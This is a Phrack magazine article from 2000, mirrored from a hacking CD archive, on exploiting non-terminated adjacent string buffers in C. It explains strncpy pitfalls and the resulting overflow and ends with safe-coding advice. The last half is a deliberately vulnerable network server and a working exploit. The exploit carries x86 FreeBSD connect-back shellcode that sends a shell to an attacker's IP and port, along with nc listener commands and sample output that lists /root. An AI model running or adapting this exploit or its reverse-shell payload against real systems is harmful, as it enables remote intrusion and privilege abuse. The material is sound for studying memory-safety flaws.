home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p56-0x0e.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  28.2 KB  |  890 lines

  1.                       - P H R A C K   M A G A Z I N E -
  2.  
  3.                             Volume 0xa Issue 0x38
  4.                                   05.01.2000
  5.                                   0x0e[0x10]
  6.  
  7. |--------- TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES ---------|
  8. |-----------------------------------------------------------------------------|
  9. |------------------------- twitch <twitch@vicar.org> -------------------------|
  10.  
  11.  
  12. ----|  Introduction
  13.  
  14. Because Phrack needs another buffer overflow article, because most of those
  15. pesky strcpy()'s have been replaced with strncpys()'s, and because chicks
  16. dig shellcode, I present for your benefit yet another buffer overflow
  17. technique.  Like 'Frame Pointer Overwriting' from P55, this is not the most
  18. common of problems, but it does exist, and it is exploitable.
  19.  
  20. This article details the hazards of non-terminated buffers (specifically
  21. non-terminated strings), and their potential impact on the security of a
  22. application.  This issue is discussed from a variety potential situations,
  23. culminating with an example exploit which abuses adjacent non-terminated
  24. string buffers together to perform program redirection via a buffer overflow.
  25. Like most bugs this is not an unknown problem, however judging from random
  26. source browsing, it appears that this is not a widely understood issue.
  27.  
  28. Incidentally, the example code contains idiosyncratic architectural
  29. references and man page excerpts as presented from the point of view of
  30. FreeBSD running on the x86 architecture.
  31.  
  32. Due to popular pleading, the noun 'data' is treated as singular throughout
  33. this document, even though that is wrong.
  34.  
  35.  
  36. ----|  Rehash
  37.  
  38. If you already know how buffer overflows work (and if you have read any
  39. issue of Phrack within the last two years, how could you not?), skip this
  40. section.
  41.  
  42. When a program allocates a buffer, then copies arbitrary data into this
  43. buffer, it must ensure that there is enough room for everything that is being
  44. copied.  If there is more data than there is allocated memory, all data could
  45. still be copied, but past the end of the designated buffer and random, most
  46. likely quite important, data will be overwritten.  It's all really quite
  47. rude.  If the data being copied is supplied by the user, the user can do
  48. malevolent things like change the value of variables, redirect program
  49. execution, etc.  A common overflow will look like this:
  50.  
  51.    void func(char *userdata)
  52.    {
  53.       char buf[256];
  54.  
  55.       ...
  56.  
  57.       strcpy(buf, userdata);
  58.    
  59.       ...
  60.    }
  61.  
  62. The programmer assumes that the data being copied will surely be less than 256
  63. bytes and will fit snugly into the supplied buffer.  Unfortunately, since the
  64. data being copied is user-supplied, it could be damned near anything and of
  65. any size.  The function strcpy() will continue copying bytes from *userdata
  66. until a NULL is found, so any data past 256 bytes will overflow.
  67.  
  68. So, in an effort to keep mean people from abusing their software, programmers
  69. will make sure that they only copy as much data as there is buffer space.
  70. To accomplish this task, they will normally do something to this effect:
  71.  
  72.    void func(char *userdata)
  73.    {
  74.       char buf[256];
  75.  
  76.       ...
  77.  
  78.       strncpy(buf, userdata, 256);
  79.    
  80.       ...
  81.    }
  82.  
  83. strncpy() will only copy as many bytes as are specified.  So in the above,
  84. the maximum amount of data that is ever copied is 256 bytes, and nothing is
  85. overwritten (note that the above code snippet exemplifies the problem discussed
  86. below).
  87.  
  88. For a far superior explanation of buffer overruns, program redirection,
  89. and smashing the stack for fun and profit, consult the article of the
  90. same name as the latter in P49-10.
  91.  
  92.  
  93. ----|  Pith
  94.  
  95. The essence of the issue is that many functions that a programmer may take
  96. to be safe and/or 'magic bullets' against buffer overflows do not
  97. automatically terminate strings/buffers with a NULL.  That in actuality,
  98. the buffer size argument provided to these functions is an absolute size- not
  99. the size of the string.  To put a finer point on it, an excerpt from the
  100. strncpy() man page:
  101.  
  102.    char *
  103.    strncpy(char *dst, const char *src, size_t len)
  104.  
  105.    ...
  106.  
  107.    The strncpy() copies not more than len characters into dst, appending
  108.    `\0' characters if src is less than len characters long, and _not_+
  109.    terminating dst if src is more than len characters long.
  110.  
  111.    ...
  112.  
  113.    +(underline present in the source)
  114.  
  115. To understand the ramifications of this, consider the case of two automatic
  116. character arrays, allocated thusly:
  117.  
  118.    char buf1[8];
  119.    char buf2[4];
  120.  
  121. The compiler is most likely going to place these two buffers _next_ to each
  122. other on the stack.  Now, consider the stack for the above:
  123.  
  124. Upper
  125. Memory   
  126.   ||     ---------------->  [Top of the stack]
  127.   ||     ---------------->  [ buf2 - 0 ]
  128.   ||     ---------------->  [ buf2 - 1 ]
  129.   ||     ---------------->  [ buf2 - 2 ]
  130.   ||     ---------------->  [ buf2 - 3 ]
  131.   ||     ---------------->  [ buf1 - 0 ]
  132.   ||     ---------------->  [ buf1 - 1 ]
  133.   ||     ---------------->  [ buf1 - 2 ]
  134.   ||     ---------------->  [ buf1 - 3 ]
  135.   ||           ...
  136.   ||     ---------------->  [ buf1 - 7 ]
  137.   ||
  138.   ||           ...
  139.   \/
  140.  
  141.    [ Remember that the stack grows down on our example architecture
  142.      (and probably yours, too), so the above diagram looks upside down ]
  143.  
  144. Thus, if a programmer were to do the following:
  145.  
  146.    void
  147.    func()
  148.    {
  149.       char buf1[8];
  150.       char buf2[4];
  151.  
  152.       fgets(buf1, 8, stdin);
  153.       strncpy(buf2, buf1, 4);
  154.    }
  155.  
  156. Assuming that the user entered the string 'iceburn', after the strncpy()
  157. the stack would look like this:
  158.  
  159. Upper
  160. Memory   
  161.   ||     ---------------->  [Top of the stack]
  162.   ||     ---------------->  [ 'i'  (buf2 - 0) ]
  163.   ||     ---------------->  [ 'c'  (buf2 - 1) ]
  164.   ||     ---------------->  [ 'e'  (buf2 - 2) ]
  165.   ||     ---------------->  [ 'b'  (buf2 - 3) ]
  166.   ||     ---------------->  [ 'i'  (buf1 - 0) ]
  167.   ||     ---------------->  [ 'c'  (buf1 - 1) ]
  168.   ||     ---------------->  [ 'e'  (buf1 - 2) ]
  169.   ||     ---------------->  [ 'b'  (buf1 - 3) ]
  170.   ||     ---------------->  [ 'u'  (buf1 - 4) ]
  171.   ||     ---------------->  [ 'r'  (buf1 - 5) ]
  172.   ||     ---------------->  [ 'n'  (buf1 - 6) ]
  173.   ||     ---------------->  [ 0x00 (buf1 - 7) ]
  174.   ||
  175.   ||           ...
  176.   \/
  177.  
  178. We know from the man page that even though strncpy() is not going to copy
  179. more than 4 bytes.  But since the src string is longer than 4 bytes, it
  180. will not null-terminate either.  Thus, strlen(buf2) is now 11, even though
  181. sizeof(buf2) is 4.  This is not an overflow, as no data beyond the
  182. boundaries of the allocated space have been overwritten.  However, it does
  183. establish a peculiar situation.  For instance, the result of
  184.  
  185.    printf("You entered: %s\n", buf2);
  186.  
  187. would produce the following:
  188.  
  189.   You entered: icebiceburn
  190.  
  191. Not exactly the intent.
  192.  
  193.  
  194. ----|  Apparition
  195.  
  196. This problem surfaces in the real world in seemingly benign and arcane
  197. ways. The following is from syslogd.c on FreeBSD 3.2-RELEASE:
  198.  
  199.    /*
  200.     * Validate that the remote peer has permission to log to us.
  201.     */
  202.    int
  203.    validate(sin, hname)
  204.    struct sockaddr_in *sin;
  205.       const char *hname;
  206.    {
  207.       int i;
  208.       size_t l1, l2;
  209.       char *cp, name[MAXHOSTNAMELEN];
  210.       struct allowedpeer *ap;
  211.  
  212.       if (NumAllowed == 0)
  213.          /* traditional behaviour, allow everything */
  214.          return 1;
  215.  
  216.       strncpy(name, hname, sizeof name);
  217.       if (strchr(name, '.') == NULL) {
  218.          strncat(name, ".", sizeof name - strlen(name) - 1);
  219.          strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
  220.       }
  221.  
  222.       ... 
  223.    }
  224.  
  225. Suppose that hname is at least MAXHOSTNAMELEN bytes long and does not contain
  226. a '.'.  This means that the calculation for the length argument to strncat will
  227. expand to:
  228.  
  229.    sizeof name == MAXNAMELEN
  230.    strlen(name) >= MAXNAMELEN
  231.    Thus, length will be < 0
  232.  
  233. Well, since the length parameter to strncat is of type size_t, which is
  234. unsigned, strncat will actually be willing to append _way_ to many bytes.
  235. Thus, all of LocalDomain will be appended to name (which is already full),
  236. an overflow will occur and syslogd will seg fault when validate() returns.
  237. Incidentally, unless LocalDomain for the host is an appropriate offset into
  238. the stack, this example is exploitable only as a way to kill syslog
  239. (incidentally, 0xbfbfd001.com is available).
  240.  
  241.  
  242. ----|  Pith + Apparition = Opportunity
  243.  
  244. Although this type of overflow may be exploited in a variety of manners (and
  245. indeed, it will manifest itself in a variety of ways), the sexiest and easiest
  246. to understand is program redirection.  Please note that although the example
  247. situations presented are exorbitantly contrived, that similar conditions exist
  248. in sundry software currently in use all over the world.
  249.  
  250. Now, let us address a situation where the user has control over the contents of
  251. two adjacent buffers.  Consider the following snippet:
  252.  
  253.    int
  254.    main(int argc, char **argv)
  255.    {
  256.       char buf1[1024];
  257.       char buf2[256];
  258.  
  259.       strncpy(buf, argv[1], 1024);
  260.       strncpy(buf2, argv[2], 256);
  261.  
  262.       ...
  263.  
  264.       if(somecondition)
  265.          print_error(buf2);
  266.  
  267.    }
  268.  
  269.    void print_error(char *p)
  270.    {
  271.       char mybuf[263];
  272.       
  273.       sprintf(mybuf, "error: %s", p);
  274.    }
  275.  
  276. A stack diagram would be really large and redundant, so one will not be making
  277. an appearance here, but it should be fairly clear what will happen.  The
  278. programmer assumes that due to the liberal use of strncpy() in main(), that
  279. the data is clean when it reaches print_error().  Thus, it is assumed that
  280. sprintf() may be called without incident.  Unfortunately, since p points to
  281. buf2, and buf2 is not properly terminated, sprintf() will actually continue
  282. happily copying until it reaches a NULL somewhere after the end of buf1.
  283. Oh shit.
  284.  
  285.  
  286. ----|  Hexploitation
  287.  
  288. Exploitation (for the purpose of program redirection) in this scenario is
  289. slightly different than it is in the case of a traditional single-buffer
  290. overrun.  First, a little rehash about exploiting traditional buffer overflows.
  291.  
  292. Assuming that we are overflowing a single buffer of 256 bytes, our payload
  293. would generally look something like this (diagrams obviously not to
  294. scale):
  295.  
  296.   [ 0 ....................................................256.. ~280 ]
  297.   --------------------------------------------------------------------
  298.   |                |           |            |                        |
  299.   | Bunch of NOP's | shellcode | More NOP's | offset_to_shellcode    |
  300.   |                |           |            |                        |
  301.   --------------------------------------------------------------------
  302.   |                            Buffer                      |
  303.   |________________________________________________________|
  304.  
  305. All that we do is pass enough data so that when the overflow occurs, the
  306. offset to the our shellcode (an address somewhere on the stack) overwrites
  307. the saved instruction pointer.  Thus, when the vulnerable function returns,
  308. program execution is redirected to our code.
  309.  
  310. Now assume that we want to overflow another 256-byte buffer, say the one
  311. in print_error() in the code snippet from the last section.  To accomplish
  312. our malevolent ends however, we will have to use buf1 and buf2 in tandem.
  313. All we have to do is fill all of buf2 with our shellcode and NOP's, then
  314. use the beginning of buf1 for our offset. 
  315.  
  316. Thus, after the strncpy()'s, buf1 will look like this:
  317.  
  318.   [ 0 ......................................................... 1024 ]
  319.   --------------------------------------------------------------------
  320.   |                     |                                            |
  321.   | offset_to_shellcode |      Filled with NULL's by strncpy()       | 
  322.   |                     |                                            |
  323.   --------------------------------------------------------------------
  324.  
  325. And buf2 will look like this:
  326.  
  327.   [ 0 .......................................................... 256 ]
  328.   --------------------------------------------------------------------
  329.   |                     |           |                                |
  330.   | Bunch of NOP's      | shellcode |          More NOP's            |
  331.   |                     |           |                                |
  332.   --------------------------------------------------------------------
  333.  
  334. This arrangement is required due to the way in which the buffers are arranged
  335. on the stack. What is supplied as argv[1] (the data that is copied into
  336. buf1) will be located higher in memory than the data we supply as argv[2]
  337. (which is copied into buf2). So technically, we supply the offset at the
  338. beginning of the exploit string, rather than at the end. Then, when
  339. print_error() is called, the stack in main(), will look like this:
  340.  
  341.   [Top of stack                                          Upper Memory]
  342.   [ 0 .............................................~300../ /... 1280 ]
  343.   -------------------------------------------------------/ /----------
  344.   |                |           |            |            / /         |
  345.   | Bunch of NOP's | shellcode | More NOP's |   offset   / /  NULL's |
  346.   |                |           |            |            / /         |
  347.   -------------------------------------------------------/ /----------
  348.  
  349. Which resembles greatly the traditional payload described above.
  350.  
  351. When print_error() is called, it is passed a pointer to the beginning of buf2,
  352. or, the top of the stack in main().  Thus, when sprintf() is called, an overrun
  353. occurs, redirecting program execution to our shellcode, and all is lost.
  354.  
  355. Note that alignment here is key, since if the compiler pads one of the buffers,
  356. we may run into a problem.  Which buffer is padded and the contents of the
  357. pad bytes both play a role in the success of exploitation.
  358.  
  359. If buf2 is padded, and the padded bytes contain NULL's, no overflow (or, at
  360. least, no usable overflow) will occur.  If the pad bytes are _not_ null, then
  361. as long as the pad bytes end on a double-word boundary (which they almost
  362. certainly will), we can still successfully overwrite the saved instruction
  363. pointer.
  364.  
  365. If buf1 is padded, whether or not the pad bytes contain NULL's is really of no
  366. consequence, as they will fall after our shellcode anyway.
  367.  
  368.  
  369. ----|  Denouement
  370.  
  371. As with all bugs, the fault here is not of the library functions, or of the C
  372. programming language, or operating systems not marking  data as non-executable,
  373. but that programmers do not fully realize the ramifications of what they
  374. are doing.  Before handling any potentially hazardous materials (arbitrary
  375. data), special precautions should be made.  Man pages should be read.  Buffers
  376. should be terminated.  Return values should be checked.  All it takes is a
  377. '+1' and an initialization.  How hard is this:
  378.  
  379.    char buf[MAXSIZE + 1];
  380.    FILE *fd;
  381.    size_t len;
  382.  
  383.    ...
  384.  
  385.    memset(buf, 0, MAXSIZE + 1);
  386.    len = fread((void *)buf, 1, MAXSIZE, fd);
  387.    /*
  388.     * This won't actually happen, but it is supplied to
  389.     * prove a point
  390.     */
  391.    if(len > MAXSIZE){      
  392.       syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n",
  393.             getpid(), getuid());
  394.       exit(1);
  395.    }
  396.  
  397.    ...
  398.  
  399. Okay, so the above is a bit silly, but the hopefully the intent is
  400. clear.
  401.  
  402. Incidentally, the following also do not terminate on behalf of lazy
  403. programmers:
  404.  
  405.    fread()
  406.    the read() family [ read(), readv(), pread() ]
  407.    memcpy()
  408.    memccpy()
  409.    memmove()
  410.    bcopy()
  411.    for(i = 0; i < MAXSIZE; i++)
  412.       buf[i] = buf2[i];
  413.    gethostname()
  414.    strncat()
  415.  
  416. These functions are kind enough to null-terminate for you:
  417.  
  418.    snprintf()
  419.    fgets()
  420.  
  421. Now, go break something, or better yet, go fix something.
  422.  
  423.  
  424. ----|  Example
  425.  
  426. Attached is an example exploit for an example vulnerable program.  The
  427. vulnerable program is pathetically contrived, and serves no purpose other
  428. than:
  429.  
  430.    a) Offering an example of explaining the considerations of 
  431.       exploiting this type of buffer overrun.
  432.    b) Offering a viable opportunity to pimp some new shellcode.
  433.  
  434. The decision not to present an exploit to real software was due to:
  435.  
  436.    a) The fact that publishing 0-day in Phrack is rude.
  437.    b) If I didn't report the bugs I've found I would be a prick.
  438.    c) The fact that any bugs that I have found should already be patched
  439.       by the time this comes out.
  440.    d) The presented example is easier to follow than a real-world app.
  441.    e) The point of this article is to inform, not help you tag
  442.       www.meaninglessdomain.com.
  443.  
  444. But hey, you're getting free shellcode, so reading this wasn't an entire
  445. waste of time.
  446.  
  447. The exploit itself will throw a shell to any system and port you deem
  448. necessary.  I think that's useful.  Read the comments in boobies.c for
  449. instructions on how to use.
  450.  
  451. The shellcode is i386-FreeBSD specific, so in order to play with this the
  452. vulnerable proggy will need to be run on an x86 FreeBSD machine.  The exploit
  453. should compile and run on anything -- though you may have to tweak the
  454. alignment for your particular architecture.
  455.  
  456. Incidentally, x86 Linux and SPARC Solaris versions of the shellcode are
  457. available at www.vicar.org/~twitch/projects/llehs.
  458.  
  459.  
  460. ----|  The code
  461.  
  462. <++> p56/Boobies/vuln.c !66dd8731
  463. /*
  464.  * vuln.c
  465.  * 
  466.  * 01/09/1999
  467.  * <twitch@vicar.org>
  468.  *
  469.  * Example to display how non-terminated strings in adjacent memory
  470.  * spaces may be exploited.
  471.  *
  472.  * Give it a port to listen on if you wish as argv[argc - 1]
  473.  * (the default is 6543). 
  474.  *
  475.  * The code is sloppy because I really didn't care. 
  476.  * Pretend it's a game on a Happy Meal(tm) box- how many other exploitable
  477.  * conditions can you find?
  478.  *
  479.  * to compile-
  480.  * [twitch@lupus]$ gcc -Wall -o vuln vuln.c
  481.  */
  482.  
  483. #include <stdio.h>
  484. #include <string.h>
  485. #include <unistd.h>
  486. #include <stdlib.h>
  487. #include <sys/types.h>
  488. #include <sys/socket.h>
  489. #include <netinet/in.h>
  490. #include <arpa/inet.h>
  491. #include <netdb.h>
  492.  
  493. #ifndef MAXHOSTNAMELEN
  494. #define MAXHOSTNAMELEN   256
  495. #endif /* MAXHOSTNAME */
  496.  
  497. #define PORT   6543
  498.  
  499. int be_vulnerable(int);
  500. void oopsy(char *);
  501. int do_stuff(char *, int, u_short);
  502.  
  503. int
  504. main(int argc, char **argv)
  505. {
  506.    char myname[MAXHOSTNAMELEN + 1];
  507.    struct hostent *h;
  508.    int r;
  509.    u_short port;
  510.  
  511.    port = PORT;
  512.  
  513.    if(argc > 1)
  514.       port = strtoul(argv[argc - 1], NULL, 10);
  515.  
  516.    memset(myname, 0, MAXHOSTNAMELEN + 1);
  517.    r = gethostname(myname, MAXHOSTNAMELEN);
  518.    if(r){
  519.       perror("gethostname");
  520.       return(1);
  521.    }
  522.  
  523.    if(!(strlen(myname))){
  524.       fprintf(stderr, "I have no idea what my name is, bailing\n");
  525.       return(1);
  526.    }
  527.    
  528.    h = gethostbyname(myname);
  529.    if(!h){
  530.       fprintf(stderr, "I couldn't resolve my own name, bailing\n");
  531.       return(1);
  532.    }
  533.  
  534.    return(do_stuff(h->h_addr, h->h_length, port));
  535. }
  536.  
  537. /*
  538.  * do_stuff()
  539.  *    Listen on a socket and when we get a connection, had it
  540.  *    off to be_vulnerable().
  541.  */
  542. int
  543. do_stuff(char *myaddr, int addrlen, u_short port)
  544. {
  545.    struct sockaddr_in sin, fin;
  546.    int s, r, alen;
  547.    char *p;
  548.    memcpy(&sin.sin_addr.s_addr, myaddr, addrlen); 
  549.    
  550.    p = inet_ntoa(sin.sin_addr);
  551.  
  552.    if(sin.sin_addr.s_addr == -1L){
  553.       fprintf(stderr, "inet_addr returned the broadcast, bailing\n");
  554.       return(1);
  555.    }
  556.  
  557.    memset(&sin, 0, sizeof(struct sockaddr));
  558.    sin.sin_family = AF_INET;
  559.    sin.sin_port = htons(port);
  560.  
  561.    s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  562.    if(s < 0){
  563.       perror("socket");
  564.       return(1);
  565.    }
  566.  
  567.    alen = sizeof(struct sockaddr);
  568.    r = bind(s, (struct sockaddr *)&sin, alen);
  569.    if(r < 0){
  570.       perror("bind");
  571.       return(1);
  572.    }
  573.  
  574.    r = listen(s, 1);
  575.    if(r < 0){
  576.       perror("listen");
  577.       return(1);
  578.    }
  579.  
  580.    printf("Accepting connections on port %d...\n", port);
  581.  
  582.    memset(&fin, 0, alen);
  583.    r = accept(s, (struct sockaddr *)&fin, &alen);
  584.    if(r < 0){
  585.       perror("accept");
  586.       return(1);
  587.    }
  588.  
  589.    return(be_vulnerable(r));
  590. }
  591.  
  592. /*
  593.  * be_vulnerable()
  594.  *    We grab a chunk o' data from the wire and deal with it
  595.  *    in an irresponsible manner.
  596.  */
  597. int
  598. be_vulnerable(int s)
  599. {
  600.    int r;
  601.    char buf[1024], buf2[256];
  602.  
  603.    memset(buf, 0, 1024);
  604.    memset(buf2, 0, 256);
  605.    r = read(s, (void *)buf, 1024);
  606.    r = read(s, (void *)buf2, 256);
  607.  
  608.    oopsy(buf2);
  609.  
  610.    close(s);
  611.    return(0);
  612. }
  613.  
  614. /*
  615.  * oopsy()
  616.  *    Copy data into local storage to do something with it.
  617.  *    I'm lazy so all this does is cause the overflow.
  618.  */
  619. void
  620. oopsy(char *p)
  621. {
  622.    char mybuf[256];
  623.  
  624.    fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p));
  625.    strncpy(mybuf, p, strlen(p));
  626. }
  627. <-->
  628. <++> p56/Boobies/boobies.c !f264004c
  629. /*
  630.  * boobies.c
  631.  *
  632.  * 01/09/1999
  633.  * <twitch@vicar.org>
  634.  *
  635.  * Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled
  636.  * three times) Irish Whiskey, and that one SCO guy's beautiful lady.
  637.  *
  638.  *
  639.  * Example exploit for vuln.c to display how non-terminated strings
  640.  * in adjacent memory can cause real troubles.
  641.  *
  642.  * This shellcode will establish a TCP connection to any port and
  643.  * address you deem fit (see the shellcode for where/how to do this)
  644.  * and drop a shell. You won't get a prompt, but otherwise, it is a
  645.  * full shell with the privleges of whatever the exploited program had.
  646.  *
  647.  * This is the x86 FreeBSD version- Linux and SPARC Solaris versions,
  648.  * as well as full assembly listings are available at
  649.  * www.vicar.org/~twitch/projects/llehs
  650.  *
  651.  * To use this exploit, run the silly little vulnerability demo
  652.  * program on some system (in this example it's running on a system
  653.  * called lupus) thusly:
  654.  *
  655.  * [twitch@lupus]$ ./vuln
  656.  * Accepting connections on port 6543...
  657.  *
  658.  * Then do this on the attacking system (or wherever you are directing
  659.  * the shell):
  660.  *
  661.  * [twitch@pornstar]$ nc -n -v -l -p 1234
  662.  * listening on [any] 1234 ...
  663.  *
  664.  *    [ from another terminal/window ]
  665.  *
  666.  * [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543
  667.  * lupus [192.168.1.6] 6543 (?) open
  668.  *
  669.  *    [ back to the first terminal/window ]
  670.  *
  671.  * connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234
  672.  * uname -n
  673.  * lupus.vicar.org
  674.  * ls -alF /root/
  675.  * total 14
  676.  * drwxr-x---   3 root  wheel   512 Dec  8 20:44 ./
  677.  * drwxr-xr-x  19 root  wheel   512 Dec 10 19:13 ../
  678.  * -rw-------   1 root  wheel  4830 Jan  4 16:15 .bash_history
  679.  * -rw-------   2 root  wheel   383 May 17  1999 .cshrc
  680.  * -rw-------   1 root  wheel  1354 Jan  5 10:33 .history
  681.  * -rw-------   1 root  wheel   124 May 17  1999 .klogin
  682.  * -rw-------   1 root  wheel   491 Dec  4 19:59 .login
  683.  * -rw-------   2 root  wheel   235 May 17  1999 .profile
  684.  * drwxr-x---   2 root  wheel   512 Dec  8 20:44 .ssh/
  685.  * ^C
  686.  * [twitch@pornstar]$
  687.  *
  688.  * You will need to supply an offset of around -50 if
  689.  * vuln is running on a port besides the default.
  690.  *
  691.  * The exploit has a few options that you can read about by doing:
  692.  * [twitch@pornstar]$ ./boobies -h
  693.  * usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment]
  694.  *    -o              Nudge the offset offset_nudge bytes.
  695.  *    -p              Port to which the target should connect.
  696.  *    -a              Address to which the target should connect.
  697.  *                    (Must be an IP address because I'm lazy.)
  698.  *    -A              Nudge the alignment.
  699.  *    -v              Be verbose about what we're doing.
  700.  *    -h              The secret to life.
  701.  *
  702.  * If you compile this on non-x86 architectures, you will prolly have to
  703.  * play with the alignment a bit.
  704.  *
  705.  * to compile-
  706.  * [twitch@pornstar]$ gcc -o boobies -Wall boobies.c
  707.  * Be alert, look alive, and act like you know.
  708.  */
  709.  
  710. #include <stdio.h>
  711. #include <unistd.h>
  712. #include <stdlib.h>
  713. #include <string.h>
  714. #include <sys/types.h>
  715. #include <sys/socket.h>
  716. #include <netinet/in.h>
  717. #include <arpa/inet.h>
  718.  
  719. char llehs[] =
  720.    "\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18"  /* 14 */
  721.    "\xc6\x45\xe9\x02\x31\xc0\x66\xb8"                          /* 22 */
  722.  
  723.    /*
  724.     * Replace with (htons(port) ^ 0xff).
  725.     * Defaults to 1234.
  726.     */
  727.    "\xfb\x2d"
  728.  
  729.    "\x66\x35\xff\xff\x66\x89\x45\xea\xb8"                      /* 33 */
  730.  
  731.    /*
  732.     * Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff).
  733.     * Defaults to 192.168.1.6.
  734.     */
  735.    "\x3f\x57\xfe\xf9"
  736.  
  737.    "\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0"
  738.    "\x61\xcd\x80"
  739.  
  740.    "\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80"
  741.    "\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80"
  742.    "\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80"
  743.    "\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
  744.    "\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
  745.    "\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80"
  746.    "\x31\xc0\x40\xcd\x80"
  747.    "\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  748.  
  749. /*
  750.  * This offset seems to work if you are running the exploit and the
  751.  * vulnerable proggy on the same machine, with vuln listening on its
  752.  * default port. If vuln is listening on a user-supplied port, this
  753.  * needs to be around 0xbfbfd0fc.  YMMV.
  754.  */
  755. #define OFFSET    0xbfbfd108
  756. #define NOP       0x90
  757. #define BUFSIZE   1300
  758. #define SHELLSIZE 143
  759. #define PAD       32
  760. #define ALIGNIT   0
  761.  
  762. /*
  763.  * Offset into the shellcode for the port
  764.  */
  765. #define SCPORTOFF 22
  766.  
  767. /*
  768.  * Offset into the shellcode for the address
  769.  */
  770. #define SCADDROFF 33
  771.  
  772. void
  773. usage(char *proggy)
  774. {
  775.    fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ",
  776.          proggy);
  777.    fprintf(stderr, "[-A alignment]\n");
  778.    fprintf(stderr, "\t-o\t\tNudge the offset offset_nudge bytes.\n");
  779.    fprintf(stderr, "\t-p\t\tPort to which the target should connect.\n");
  780.    fprintf(stderr, "\t-a\t\tAddress to which the target should connect.\n");
  781.    fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n");
  782.    fprintf(stderr, "\t-A\t\tNudge the alignment.\n");
  783.    fprintf(stderr, "\t-v\t\tBe verbose about what we're doing.\n");
  784.    fprintf(stderr, "\t-h\t\tThe secret to life.\n");
  785.    fprintf(stderr, "\n");
  786.  
  787.    exit(1);
  788. }
  789.  
  790. void
  791. main(int argc, char **argv)
  792. {
  793.    char b00m[BUFSIZE], *p, c;
  794.    char *port, *addr;
  795.    u_short portd;
  796.    u_long addrd;
  797.    extern char *optarg;
  798.    int i, nudge = 0, o = OFFSET, align = 0;
  799.    int verb = 0;
  800.  
  801.    port = &(llehs[SCPORTOFF]);
  802.    addr = &(llehs[SCADDROFF]);
  803.    while((c = getopt(argc, argv, "o:p:a:A:vh")) != -1){
  804.       switch(c){
  805.          /*
  806.           * Nudge to the offset
  807.           */
  808.          case 'o':
  809.             nudge = strtoul(optarg, NULL, 10);
  810.             break;
  811.          /*
  812.           * Port to which we connect
  813.           */
  814.          case 'p':
  815.             portd = strtoul(optarg, NULL, 10);
  816.  
  817.             if(verb)
  818.                fprintf(stderr, "Shell coming back on port %d\n", portd);
  819.  
  820.             portd = htons(portd);
  821.             portd ^= 0xffff;
  822.  
  823.             if(verb)
  824.                fprintf(stderr, " (0x%x)\n", portd);
  825.  
  826.             memcpy((void *)port, (void *)&portd, sizeof(u_short));
  827.             break;
  828.          /*
  829.           * Address to which we connect
  830.           */
  831.          case 'a':
  832.             addrd = inet_addr(optarg);
  833.             if(addrd == -1L){
  834.                fprintf(stderr, "Bad address '%s'.\n", optarg);
  835.                exit(1);
  836.             }
  837.             addrd ^= 0xffffffff;
  838.             memcpy((void *)addr, (void *)&addrd, sizeof(u_long));
  839.  
  840.             if(verb){
  841.                fprintf(stderr, "Shell is being sent to %s.\n", optarg);
  842.                fprintf(stderr, " (0x%lx)\n", addrd);
  843.             }
  844.  
  845.             break;
  846.          /*
  847.           * Alignment (should only be necessary on architectures
  848.           * other than x86)
  849.           */
  850.          case 'A':
  851.             align = strtoul(optarg, NULL, 10);
  852.             break;
  853.          case 'v':
  854.             verb++;
  855.             break;
  856.          case 'h':
  857.          default:
  858.             usage(argv[0]);
  859.             break;
  860.          }
  861.    }
  862.  
  863.    o += nudge;
  864.    align += ALIGNIT;
  865.  
  866.    if(verb){
  867.       fprintf(stderr, "Offset is 0x%x\n", o);
  868.       fprintf(stderr, "Alignment nudged %d bytes\n", align);
  869.    }
  870.  
  871.    p = b00m;
  872.    memset(p, 0x90, sizeof(b00m)); 
  873.    p = b00m + ALIGNIT;
  874.    for(i = 0; i < PAD; (i += 4)){
  875.       *((int *)p) = o;
  876.       p +=4;
  877.    }
  878.  
  879.    p = (&b00m[0]) + PAD + PAD + ALIGNIT;
  880.    memcpy((void *)p, (void*)llehs, SHELLSIZE);
  881.  
  882.    b00m[BUFSIZE] = 0;
  883.    fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m));
  884.    printf("%s", b00m);
  885.    exit(0);
  886. }
  887. <-->
  888.  
  889. |EOF|-------------------------------------------------------------------------|
  890.